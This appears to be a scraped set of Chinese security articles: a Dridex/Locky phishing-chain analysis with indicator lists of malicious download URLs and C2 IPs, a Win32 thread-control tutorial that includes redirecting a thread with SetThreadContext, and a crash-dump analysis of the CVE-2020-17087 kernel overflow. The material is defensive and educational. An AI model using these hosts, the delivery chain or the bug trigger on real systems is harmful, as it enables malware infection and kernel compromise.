Bart”勒索软件二进制和后端服务器分析**](http://bobao.360.cn/learning/detail/3512.html)
**前言**
**Dridex（银行木马）和Locky（勒索软件）是两个臭名昭著的恶意软件家族。**
2016年，在世界范围内投放了大量的恶意邮件传播恶意代码，在短暂的销声匿迹之后重新回归到大众的视野。
本篇文章中介绍了的PDF下载器负责传播Dridex（银行木马）和Locky（勒索软件）两类恶意软件。但为了突出本篇文章的重点内容，
**我们将结合实例，着重讨论PDF下载器和Dridex（银行木马）二进制文件。**
**影响范围**
两次攻击活动中想象范围较大的一个(图1)，钓鱼文档中涉及“付款收据”主题相关的内容，根据我们的推测，此次攻击活动主要影响了美国的保险行业。
图1：全球影响范围
两次攻击活动中影响范围较小的一个(图2)，附件的主要内容多是打印机对扫描文档的警报。此次攻击活动主要针对的目标是中东，美国和日本的政府部门。
图2：全球影响范围
**恶意代码的执行流程**
如图3所示，恶意代码的执行流程主要包括以下几个步骤：
1. **投放恶意邮件：** 邮件中包含恶意PDF文档
2. **附件中的PDF文档：** 打开PDF文档后释放并执行DOCM文档
3. **释放的DOCM文档：** 文档通过宏命令执行PowerShell脚本
4. **PowerShell脚本：** 执行PowerShell脚本从远程的CC服务器上下载一个加密的二进制文件
5. **加密的二进制文件：** 加密该二进制文件，释放并执行恶意payload
图3：恶意代码完整的执行流程
**恶意邮件**
经过我们的分析发现两次攻击活动中恶意邮件的附件内容主要为两种主题，一个文件名Payment_XXX，其中XXX指的是任何随机数，而另一个写的是来自MX-2600N的扫描图像。
图4列出了两个恶意邮件的示例。
图4：恶意邮件示例图
**附件中的PDF文档**
攻击者向被攻击者们批量投放含有PDF恶意文档的邮件，PDF文档中包含了几个对象。最重要的几个对象，一个是嵌入的DOCM文档（启用宏命令的doc文档），一个释放并启动DOCM文档的JavaScript对象。图5展示了嵌入的DOCM文档，图6展示了释放DOCM文档的JavaScript代码片段。
图5：DOCM文档文件头
图6：释放并执行DOCM文件的JavaScript代码段
当被攻击者打开了PDF文档，Adobe Reader显示了一个如图7所示的警告，清楚的说明文档可能是有害的。
图7：Adobe的安全警告
如果用户忽略了警告，并且点击了“OK”按钮，DOCM文档将会被写入%temp%目录下，并启动。
**释放的DOCM文档**
文档已只读或受保护的模式打开，意味着文档中的宏命令不能被执行。取消这种机制的保护，文档会显示一个提示消息，提醒用户点击“Enable
Editing（启用编辑）”，如图8所示。
图8：受保护的文档请求启用编辑权限
当被攻击者点击“Enable
Editing（启用编辑）”按钮，嵌入在文档中的宏命令将开始执行。如图9所示，我们可以看到要执行的命令隐藏在form1的标题中。宏命令的功能是执行一个PowerShell指令，向远端的CC服务器发起请求，下载下一个payload。
图9：嵌入在文档中的宏命令
图10展示了隐藏在form中的命令
图10：隐藏在form中的命令
**PowerShell脚本**
PowerShell代码是经过混淆的，其可以使用图11所示的算法将代码还原。当代码执行后，脚本的主要功能是请求远端的服务器下载payload。该脚本中包含了一个URI数组，循环请求每一个URI，直到CC服务器返回来一个有效的响应包。
图11：还原混淆的Powershell脚本的算法
分析还原后的PowerShell脚本，其主要有两个功能：
1.与CC服务器进行通信：在这一环节中，PowerShell脚本生成一组CC服务器域名，通过HTTP发起请求，检查服务端响应的内容，如果远端的服务器没有正确响应[200]，它将请求另一组主机。
2.解密服务端返回的数据：如果服务器出于活跃状态，将会把请求的资源返回（加密的二进制恶意代码），下载会本地后，脚本通过简单的XOR算法对内容进行解密。图12展示了脚本与CC服务器详细的通信过程。
图12：与CC服务器通信
当脚本运行后，脚本请求192.232.251.217和216.87.186.133的“/dfv45”资源，并且在第二台服务器中成功返回了响应包（加密的二进制恶意代码）。响应的内容是通过XOR加密的。图13为响应头信息。
图13：CC服务器响应头信息
PowerShell脚本将返回的内容进行解密，并将解密后的可执行文件写入到%temp%目录下，解密代码如图14所示。
图14：解密代码
**最后释放的payload**
说到这里，Dridex（银行木马）和Locky（勒索软件）的payload投放过程都是一样的。投递的恶意软件取决于远端CC服务器返回的内容。
在本篇文章的案例中，从CC服务器取回的内容是Dridex（银行木马）的payload。当payload执行后，Dridex解压缩并在svchost.exe或spoolsv.exe的进程上下文中运行，以逃避检测。
**总结**
Dridex（银行木马）和Locky（勒索软件）在过去几个月中一直很活跃，尽管投放机制不断的变化，但该类恶意软件家族的核心行为已然保持不变。Dridex是过去几年最活跃的银行木马之一，而Locky则是最臭名卓著的勒索软件之一。在过去的时间里，Dridex和Locky的作者们不断地研究各种方法已逃避检测。
**如何缓解该类恶意软件的危害**
* * *
由于该类钓鱼活动影响范围较为广泛，企业可以通过如下几种方法防止受到此类恶意软件的攻击。
**部署Web代理：**
通过部署一个Web代理，企业将能够制定阻止访问Dridex和Locky使用的唯一URI参数“/dvf45/”和“kjv783r/”的出站规则。值得提及的是，这种防御方式只能暂时防御此类攻击，最重要的还是要提高企业工作人员的安全意识。
**更新防火墙策略：** 了解企业内部必要的出站流量，并结合Web代理，禁止所有不必要的主站流量。
**启用增强的PowerShell日志记录功能：**
改进PC对PowerShell日志记录的可见性具有许多好处，其中之一是确定恶意软件使用PowerShell的执行的恶意代码，如此文中介绍的。
**附录**
**分发Dridex的URL**
til.co.za/dfv45
awarepictures.com/dfv45
ursanne.com/dfv45
sokpinter.com/dfv45
wenable.com/dfv45
martijnfeller.nl/dfv45
dont.pl/9yg65
bhmech.com/9yg65
sherwoodbusiness.com/9yg65
uwdesign.com.br/9yg65
**分发Locky的URL**
mentoryourmind.org/kjv783r
lawrenceres.com/kjv783r
cloud9ss.com/kjv783r
mentalmysteries.com/kjv783r
medjobsmatch.com/kjv783r
i-call.it/kjv783r
super-marv.com/874hv
**Dridex的CC服务器**
216.177.132[.]93:4143
152.66.249[.]132:44343
85.214.113[.]207:4743
192.184.84[.]119:4743
199.36.194[.]27:4743
104.131.182[.]74:4743
199.233.245[.]109:4743
74.220.207[.]120:80
**传送门**
* * *
[**Dridex使用的一种新型UAC绕过方法**](http://bobao.360.cn/learning/detail/420.html)
**[【木马分析】新版“Locky
Bart”勒索软件二进制和后端服务器分析](http://bobao.360.cn/learning/detail/3512.html)** | 社区文章 |
# 深入理解win32（十一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上一节里面我们实现了进程的遍历以及初步了解了线程，在这一节里面我们继续来对线程控制来进行探究。
## 线程控制
我们首先来看两个api
**SuspendThread**
用来挂起线程，如果函数成功, 传回线程目前的挂起次数。如果失败, 则传回0xFFFFFFFF
case IDC_BUTTON2:
{
::SuspendThread(hThread);
return TRUE;
}
**ResumeThread**
用来恢复线程，如果函数成功, 则传回线程的前一个挂起次数。如果失败,
则传回0xFFFFFFFF。这个函数允许调用端指定一个线程睡眠(挂起)。直到又有人调用了ResumeThread(),
线程才会醒来。因此，睡眠中的线程不可能唤醒自己。
case IDC_BUTTON3:
{
::ResumeThread(hThread);
return TRUE;
}
这里我们编写一个win32程序并设置两个按钮，一个按钮为挂起线程，另一个按钮为恢复线程进行测试，实现代码如下
// thread CONTEXT.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
HWND hEdit;
HANDLE hThread;
DWORD WINAPI ThreadProc1(LPVOID lpParameter)
{
TCHAR szBuffer[10];
DWORD dwIndex = 0;
DWORD dwCount;
while(dwIndex<1000)
{
GetWindowText(hEdit,szBuffer,10);
sscanf( szBuffer, "%d", &dwCount );
dwCount++;
Sleep(200);
memset(szBuffer,0,10);
sprintf(szBuffer,"%d",dwCount);
SetWindowText(hEdit,szBuffer);
dwIndex++;
}
return 0;
}
BOOL CALLBACK MainDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
BOOL bRet = FALSE;
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hDlg,0);
break;
}
case WM_INITDIALOG:
{
hEdit = GetDlgItem(hDlg,IDC_EDIT);
SetWindowText(hEdit,"0");
break;
}
case WM_COMMAND:
switch (LOWORD (wParam))
{
case IDC_BUTTON1:
{
//创建线程
hThread = ::CreateThread(NULL, 0, ThreadProc1, NULL, 0, NULL);
return TRUE;
}
case IDC_BUTTON2:
{
//挂起线程
::SuspendThread(hThread);
return TRUE;
}
case IDC_BUTTON3:
{
//恢复线程
::ResumeThread(hThread);
return TRUE;
}
}
break ;
}
return bRet;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,MainDlgProc);
return 0;
}
演示效果如下
## 终止线程
我们知道在线程结束的时候是有一个返回值的，在正常结束线程的情况下，返回值为0
那在这里我们加一段代码，这里为终止线程的第一种方法，使用到`ExitThread`这个api，这种方法终止线程的同时会清理堆栈
**ExitThread**
void ExitThread(
[in] DWORD dwExitCode
);
::ExitThread(DWORD dwExitCode);
这里相当于如果手动中止线程的话就会返回8
### 同步调用&异步调用
同步调用的通俗理解就是比如有三个程序要执行，必须第一个程序被触发，执行结束了之后，才轮到其他程序执行
异步调用则是所有程序的执行不需要同步，可以多个触发，互相独立的执行相应的指令
在同步调用中关闭线程之后会得到操作系统的返回值，在往下执行代码
这里终止线程的第二种方法就是使用`TerninateThread`这个api，结构如下
**TerninateThread**
BOOL TerminateThread(
[in, out] HANDLE hThread,
[in] DWORD dwExitCode
);
在异步调用中如果光使用如下代码，在得到关闭线程指令后不会等待线程关闭的消息返回，而是直接往下执行
::TerminateThread(hThread,2);
所以这里就需要再加上一行等待的代码
::WaitForSingleObject(hThread,INFINITE);
这里使用的异步调用是不清理堆栈的
### CONTEXT结构
每个线程在执行的时候，都会独自占用一个CPU,当系统中的线程数量 >
CPU的数量时，就会存在多个线程共用一个CPU的情况。但CPU每次只能运行一个线程，Windows每隔20毫秒会进行线程的切换，那比如线程A执行到地址：0x2345678
eax:1 ecx:2 edx:3 ebx:4…还有eflag标志寄存器中的值等等
此时，线程执行时间到了，被切换到了线程B。当线程B的时间片也到了，再切换会线程A时，系统是如何知道该从哪个地址开始执行呢？被切换前用到的各种寄存器的值该如何恢复呢？
这里在进行线程的切换的时候要对原线程中的寄存器的值进行保存，这时候就会用到CONTEXT这个结构体
CONTEXT的结构如下
CONTEXT：
该结构包含了特定处理器的寄存器数据。
typedef struct _CONTEXT {
//
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
//
DWORD ContextFlags;
//
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
//
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
//
FLOATING_SAVE_AREA FloatSave;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
//
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
//
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
//
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
//
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
那么这里测试一下，代码如下
case IDC_BUTTON2:
{
::SuspendThread(hThread);
CONTEXT context;
//设置要获取的类型
context.ContextFlags = CONTEXT_CONTROL;
//获取
BOOL ok = ::GetThreadContext(hThread,&context);
//设置
context.Eip = 0x401000;
SetThreadContext(hThread,&context);
::ResumeThread(hThread);
return TRUE;
}
演示效果如下，这里因为eip的值是随便设置的所以挂掉了
**GetExitCodeThread**
用来判断判断线程是否结束，此函数调用成功返回TRUE，失败返回FALSE，只表示这个函数是否调用成功而己。不能根据返回值来判断一个线程是否结束,而要根据
lpExitCode的值来确定，`lpExitCode`为`STILL_ACTIVE`时表示线程正在运行。若线程己经结束，则lpExitCode中存储指定线程的返回值，结构如下
BOOL GetExitCodeThread(
HANDLE hThread,
LPDWORD lpExitCode
);
> * _hThread_ [in] Handle to the thread. **Windows NT/2000/XP:** The handle
> must have THREAD_QUERY_INFORMATION access. For more information, see [Thread
> Security and Access Rights](prothred_32ib.htm).
> * _lpExitCode_ [out] Pointer to a variable to receive the thread
> termination status.
>
其中返回值为一个指针，实现代码如下
case IDC_BUTTON5:
{
DWORD dwExitCode = 0;
::GetExitCodeThread(hThread, &dwExitCode);
OutputDebugStringF("The process ID is:%d",dwExitCode);
return TRUE;
}
实现效果如下，这里的259就是16进制103，STILL_ACTIVE，证明线程还存在没有终止
首先点击Start，然后GetID为259
点击Hang即挂起，GetID还是259证明还是线程还是处于`STILL_ACTIVE`状态
点击Stop即终止线程，GetID为2证明线程已经终止
这里再测试一下最终效果，代码如下
// thread CONTEXT.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
HWND hEdit;
HANDLE hThread;
DWORD WINAPI ThreadProc1(LPVOID lpParameter)
{
TCHAR szBuffer[10];
DWORD dwIndex = 0;
DWORD dwCount;
while(dwIndex<1000)
{
GetWindowText(hEdit,szBuffer,10);
sscanf( szBuffer, "%d", &dwCount );
dwCount++;
Sleep(200);
memset(szBuffer,0,10);
sprintf(szBuffer,"%d",dwCount);
SetWindowText(hEdit,szBuffer);
dwIndex++;
}
return 0;
}
BOOL CALLBACK MainDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
BOOL bRet = FALSE;
switch(uMsg)
{
case WM_CLOSE:
{
EndDialog(hDlg,0);
break;
}
case WM_INITDIALOG:
{
hEdit = GetDlgItem(hDlg,IDC_EDIT);
SetWindowText(hEdit,"0");
break;
}
case WM_COMMAND:
switch (LOWORD (wParam))
{
case IDC_BUTTON1:
{
//创建线程
hThread = ::CreateThread(NULL, 0, ThreadProc1, NULL, 0, NULL);
return TRUE;
}
case IDC_BUTTON2:
{
//挂起线程
::SuspendThread(hThread);
/*CONTEXT context;
//设置要获取的类型
context.ContextFlags = CONTEXT_CONTROL;
//获取
BOOL ok = ::GetThreadContext(hThread,&context);
//设置
context.Eip = 0x401000;
SetThreadContext(hThread,&context);
::ResumeThread(hThread);*/
return TRUE;
}
case IDC_BUTTON3:
{
//恢复线程
::ResumeThread(hThread);
return TRUE;
}
case IDC_BUTTON4:
{
::TerminateThread(hThread,2);
::WaitForSingleObject(hThread,INFINITE);
return TRUE;
}
case IDC_BUTTON5:
{
DWORD dwExitCode = 0;
::GetExitCodeThread(hThread, &dwExitCode);
OutputDebugStringF("The process ID is:%d",dwExitCode);
return TRUE;
}
}
break ;
}
return bRet;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,MainDlgProc);
return 0;
}
我们知道程序窗口是主线程，我们又自己创建了一个线程，观察线程返回ID和线程数的变化
首先我们启动程序，因为主程序启动了所以只有1个线程
点击start之后，因为使用`CreateThread`又创建了一个线程，所以为两个线程
然后点击Hang即挂起，使用GetID查看为259，线程仍然存在，处于`STILL_ACTIVE`状态，任务管理器里面也可以看到线程仍然为2
点击Stop，使用GetID查看为2，证明线程已经终止，任务管理器里面的线程也变为了1 | 社区文章 |
# CVE-2020-17087在野0day分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2020年10月30日，谷歌P0团队[批露](https://bugs.chromium.org/p/project-zero/issues/detail?id=2104)了微软尚未修复的内核在野0day，[CVE-2020-17087,](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17087)
谷歌称目前已发现在野利用，目前微软尚未发布针对此漏洞的补丁程序，预计本周二（11/10）补丁日进行修复。
目前此漏洞POC已被P0[公开](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=472684)，预计影响为Win7以后全平台。
当前测试环境：Win10 1903 x64（已安装10月补丁）。
## 漏洞原理
此漏洞为Windows内核加密模块（cng.sys）出现的整数溢出和缓冲区漏洞，在函数cng!CfgAdtpFormatPropertyBlock，由于对传入的第二参数进行乘以6后，出现上溢，造成后续申请缓冲区过小，访问内核无效内存，造成BSOD。
调用栈回溯如下：
2: kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Fri Nov 6 20:49:23.242 2020 (UTC + 8:00)), ptr64 TRUE
Loading Kernel Symbols
..................................
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.
.............................
................................................................
...........................................................
Loading User Symbols
.....
Loading unloaded module list
.....
************* Symbol Loading Error Summary **************
Module name Error
SharedUserData No error - symbol load deferred
You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
ERROR: FindPlugIns 8007007b
ERROR: Some plugins may not be available [8007007b]
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffcf0640665000, memory referenced.
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
Arg3: fffff8023daa2924, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
*** WARNING: Unable to verify checksum for CVE-2020-17087.exe
KEY_VALUES_STRING: 1
PROCESSES_ANALYSIS: 1
SERVICE_ANALYSIS: 1
STACKHASH_ANALYSIS: 1
TIMELINE_ANALYSIS: 1
DUMP_CLASS: 1
DUMP_QUALIFIER: 0
BUILD_VERSION_STRING: 18362.1.amd64fre.19h1_release.190318-1202
DUMP_TYPE: 0
BUGCHECK_P1: ffffcf0640665000
BUGCHECK_P2: 2
BUGCHECK_P3: fffff8023daa2924
BUGCHECK_P4: 2
READ_ADDRESS: ffffcf0640665000 Special pool
FAULTING_IP:
cng!CfgAdtpFormatPropertyBlock+a8
fffff802`3daa2924 668901 mov word ptr [rcx],ax
MM_INTERNAL_CODE: 2
IMAGE_NAME: cng.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 0
MODULE_NAME: cng
FAULTING_MODULE: fffff8023da40000 cng
CPU_COUNT: 4
CPU_MHZ: e10
CPU_VENDOR: GenuineIntel
CPU_FAMILY: 6
CPU_MODEL: 9e
CPU_STEPPING: 9
CPU_MICROCODE: 6,9e,9,0 (F,M,S,R) SIG: 8E'00000000 (cache) 8E'00000000 (init)
DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT
BUGCHECK_STR: AV
PROCESS_NAME: CVE-2020-17087.exe
CURRENT_IRQL: 0
ANALYSIS_SESSION_HOST:
ANALYSIS_SESSION_TIME: 11-06-2020 20:49:59.0083
ANALYSIS_VERSION: 10.0.18362.1 amd64fre
TRAP_FRAME: ffffe10a83626d10 -- (.trap 0xffffe10a83626d10)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000020 rbx=0000000000000000 rcx=ffffcf0640665000
rdx=ffffcf0640664ff0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8023daa2924 rsp=ffffe10a83626ea0 rbp=0000000000002aab
r8=0000000000002aa9 r9=0000000000000002 r10=fffff8023dadce70
r11=ffffe10a83626df0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz ac po nc
cng!CfgAdtpFormatPropertyBlock+0xa8:
fffff802`3daa2924 668901 mov word ptr [rcx],ax ds:ffffcf06`40665000=????
Resetting default scope
LAST_CONTROL_TRANSFER: from fffff8023cb67ef2 to fffff8023ca89b30
STACK_TEXT:
ffffe10a`836262c8 fffff802`3cb67ef2 : ffffcf06`40665000 00000000`00000003 ffffe10a`83626430 fffff802`3c9e32f0 : nt!DbgBreakPointWithStatus
ffffe10a`836262d0 fffff802`3cb675e7 : fffff802`00000003 ffffe10a`83626430 fffff802`3ca963f0 ffffe10a`83626970 : nt!KiBugCheckDebugBreak+0x12
ffffe10a`83626330 fffff802`3ca81de7 : fffff802`3cd234f8 fffff802`3cb91a45 ffffcf06`40665000 ffffcf06`40665000 : nt!KeBugCheck2+0x947
ffffe10a`83626a30 fffff802`3cac719e : 00000000`00000050 ffffcf06`40665000 00000000`00000002 ffffe10a`83626d10 : nt!KeBugCheckEx+0x107
ffffe10a`83626a70 fffff802`3c95459f : 00000000`00000fff 00000000`00000002 00000000`00000000 ffffcf06`40665000 : nt!MiSystemFault+0x19dcee
ffffe10a`83626b70 fffff802`3ca8fd5e : ffffcf06`1a5f0080 ffffcf06`40664ff0 ffffcf06`397f7000 fffff802`3c97f1ad : nt!MmAccessFault+0x34f
ffffe10a`83626d10 fffff802`3daa2924 : 00000000`00000010 00000000`00040200 ffffe10a`83626ec8 00000000`00000018 : nt!KiPageFault+0x35e
ffffe10a`83626ea0 fffff802`3daa224e : 00000000`00000000 ffffe10a`83626fd0 ffffcf06`397f7000 00000000`00000001 : cng!CfgAdtpFormatPropertyBlock+0xa8
ffffe10a`83626ed0 fffff802`3daa0282 : 00000000`00000005 ffffe10a`836276a0 ffffcf06`397f7000 ffffcf06`397f6200 : cng!CfgAdtReportFunctionPropertyOperation+0x23e
ffffe10a`836273f0 fffff802`3da89580 : ffffe10a`836276a0 ffffcf06`397f6100 ffffe10a`83627570 ffffcf06`397f6200 : cng!BCryptSetContextFunctionProperty+0x3a2
ffffe10a`836274f0 fffff802`3da52e86 : 00000000`00003aab 00000000`00000008 00000000`00003aab ffffcf06`397ef000 : cng!_ConfigurationFunctionIoHandler+0x3bd5c
ffffe10a`836275e0 fffff802`3da52d22 : 00000000`00003aab fffff802`3da52c64 00000000`00000010 00000000`00040344 : cng!ConfigFunctionIoHandler+0x4e
ffffe10a`83627620 fffff802`3da51567 : 00000000`00000000 fffff802`00003aab 00000000`00000000 00000000`00010400 : cng!ConfigIoHandler_Safeguarded+0xd2
ffffe10a`83627690 fffff802`3da4e0ea : 00000000`00000000 ffffcf06`377fbda0 ffffcf06`377fbcd0 00000000`00000008 : cng!CngDeviceControl+0x97
ffffe10a`83627760 fffff802`3c8eb4e9 : ffffcf06`377fbcd0 00000000`00000000 00000000`00000002 00000000`00000001 : cng!CngDispatch+0x8a
ffffe10a`836277a0 fffff802`3ce90a55 : ffffe10a`83627b00 ffffcf06`377fbcd0 00000000`00000001 ffffcf06`2db2d930 : nt!IofCallDriver+0x59
ffffe10a`836277e0 fffff802`3ce90860 : 00000000`00000000 ffffe10a`83627b00 ffffcf06`377fbcd0 ffffe10a`83627b00 : nt!IopSynchronousServiceTail+0x1a5
ffffe10a`83627880 fffff802`3ce8fc36 : 00000258`88818000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc10
ffffe10a`836279a0 fffff802`3ca93555 : 00000000`00000000 00000000`00000000 00000000`00000000 00000072`294ff7e8 : nt!NtDeviceIoControlFile+0x56
ffffe10a`83627a10 00007ffe`6b65c1a4 : 00007ffe`6930eaa7 00000000`00000000 cccccccc`cccccccc cccccccc`cccccccc : nt!KiSystemServiceCopyEnd+0x25
00000072`294ffb18 00007ffe`6930eaa7 : 00000000`00000000 cccccccc`cccccccc cccccccc`cccccccc cccccccc`cccccccc : ntdll!NtDeviceIoControlFile+0x14
00000072`294ffb20 00007ffe`69db6430 : 00000000`00390400 cccccccc`cccccccc cccccccc`cccccccc cccccccc`cccccccc : KERNELBASE!DeviceIoControl+0x67
00000072`294ffb90 00007ff7`c952e475 : 00000000`00000000 00000000`00000000 00000072`294ffc20 00000000`00000000 : KERNEL32!DeviceIoControlImplementation+0x80
00000072`294ffbe0 00007ff7`c952ed44 : 00007ff7`c952ea80 00007ff7`c953004d 00000000`00000000 00007ff7`c95dd790 : CVE_2020_17087!main+0x285 [d:\project\c++\cve-2020-17087\cve-2020-17087\cve-2020-17087.cpp @ 55]
00000072`294ffde0 00007ff7`c952ebe7 : 00007ff7`c95dd000 00007ff7`c95dd220 00000000`00000000 00000000`00000000 : CVE_2020_17087!invoke_main+0x34 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 65]
00000072`294ffe20 00007ff7`c952eaae : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CVE_2020_17087!__scrt_common_main_seh+0x127 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 253]
00000072`294ffe80 00007ff7`c952ed69 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CVE_2020_17087!__scrt_common_main+0xe [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 296]
00000072`294ffeb0 00007ffe`69db7c24 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CVE_2020_17087!mainCRTStartup+0x9 [f:\dd\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17]
00000072`294ffee0 00007ffe`6b62cea1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000072`294fff10 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
THREAD_SHA1_HASH_MOD_FUNC: 93bb0a37142c095b1b37f11f6eef148b047836ba
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: bdcdc47df46b8a0e8d0af92560d7f5cbc351f2ce
THREAD_SHA1_HASH_MOD: 539b7118e8662a78213df7350439d52c7ac5ea35
FOLLOWUP_IP:
cng!CfgAdtpFormatPropertyBlock+a8
fffff802`3daa2924 668901 mov word ptr [rcx],ax
FAULT_INSTR_CODE: 49018966
SYMBOL_STACK_INDEX: 7
SYMBOL_NAME: cng!CfgAdtpFormatPropertyBlock+a8
FOLLOWUP_NAME: MachineOwner
STACK_COMMAND: .thread ; .cxr ; kb
BUCKET_ID_FUNC_OFFSET: a8
FAILURE_BUCKET_ID: AV_VRF_INVALID_cng!CfgAdtpFormatPropertyBlock
BUCKET_ID: AV_VRF_INVALID_cng!CfgAdtpFormatPropertyBlock
PRIMARY_PROBLEM_CLASS: AV_VRF_INVALID_cng!CfgAdtpFormatPropertyBlock
TARGET_TIME: 2020-11-06T12:49:17.000Z
OSBUILD: 18362
OSSERVICEPACK: 0
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
SUITE_MASK: 272
PRODUCT_TYPE: 1
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS
OS_LOCALE:
USER_LCID: 0
OSBUILD_TIMESTAMP: unknown_date
BUILDDATESTAMP_STR: 190318-1202
BUILDLAB_STR: 19h1_release
BUILDOSVER_STR: 10.0.18362.1.amd64fre.19h1_release.190318-1202
ANALYSIS_SESSION_ELAPSED_TIME: 3908
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:av_vrf_invalid_cng!cfgadtpformatpropertyblock
FAILURE_ID_HASH: {c7c09a48-39c6-9551-71d6-bb35c7878b4b}
Followup: MachineOwner
---------
CfgAdtpFormatPropertyBlock函数如下，可以看到出现整数溢出的逻辑。
没有反编译工具差点没看出来6倍（2+1）+（2+1）。。。
## 分析与调试
cng!CngDispatch
两参数 PDEVICE_OBJECT 以及 PIRP
在调用CngDeviceControl 函数之前，主要a2的IRP数据进行处理，获取In/Out buffer地址以及Length,还有IOCTL
code和RequestMode ,分别作为六个参数，传入CngDeviceControl
。通过调试来看，此派遣历程使用的操作模式Method为METHOD_BUFFERED。
通过IOCTL Code最后一位同样也可以看出，Method 0即为 METHOD_BUFFERED。
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
此时的寄存器以及内存的值
进入cng!CngDeviceControl 函数，大量判断IOCTL
code之后，调用ConfigIoHandler_Safeguarded函数，传入前四参数即缓冲区相关四参数。
进入ConfigIoHandler_Safeguarded函数，
使用InputLength申请两块内存，第一块block1拷贝传入的数据。
1: kd> dq ffffc18e`eae97000
ffffc18e`eae97000 00010400`1a2b3c4d 00000000`00000001
ffffc18e`eae97010 00000000`00000100 00000000`00000003
ffffc18e`eae97020 00000000`00000200 00000000`00000300
ffffc18e`eae97030 00000000`00000400 00000000`00000000
ffffc18e`eae97040 00000000`00000500 00000000`00000600
ffffc18e`eae97050 00000000`00002aab 00000000`00001000
ffffc18e`eae97060 00000000`00000000 00000000`00000000
ffffc18e`eae97070 00000000`00000000 00000000`00000000
第二块block2初始化为0。
将第一块地址 v10, 大小v17,第二块局部变量v19
int型地址，第二块地址v12作为四参数，调用IoUnpack_SG_ParamBlock_Header函数，根据逻辑来看，此函数最终返回0。否则当前函数将返回。
进入IoUnpack_SG_ParamBlock_Header函数：
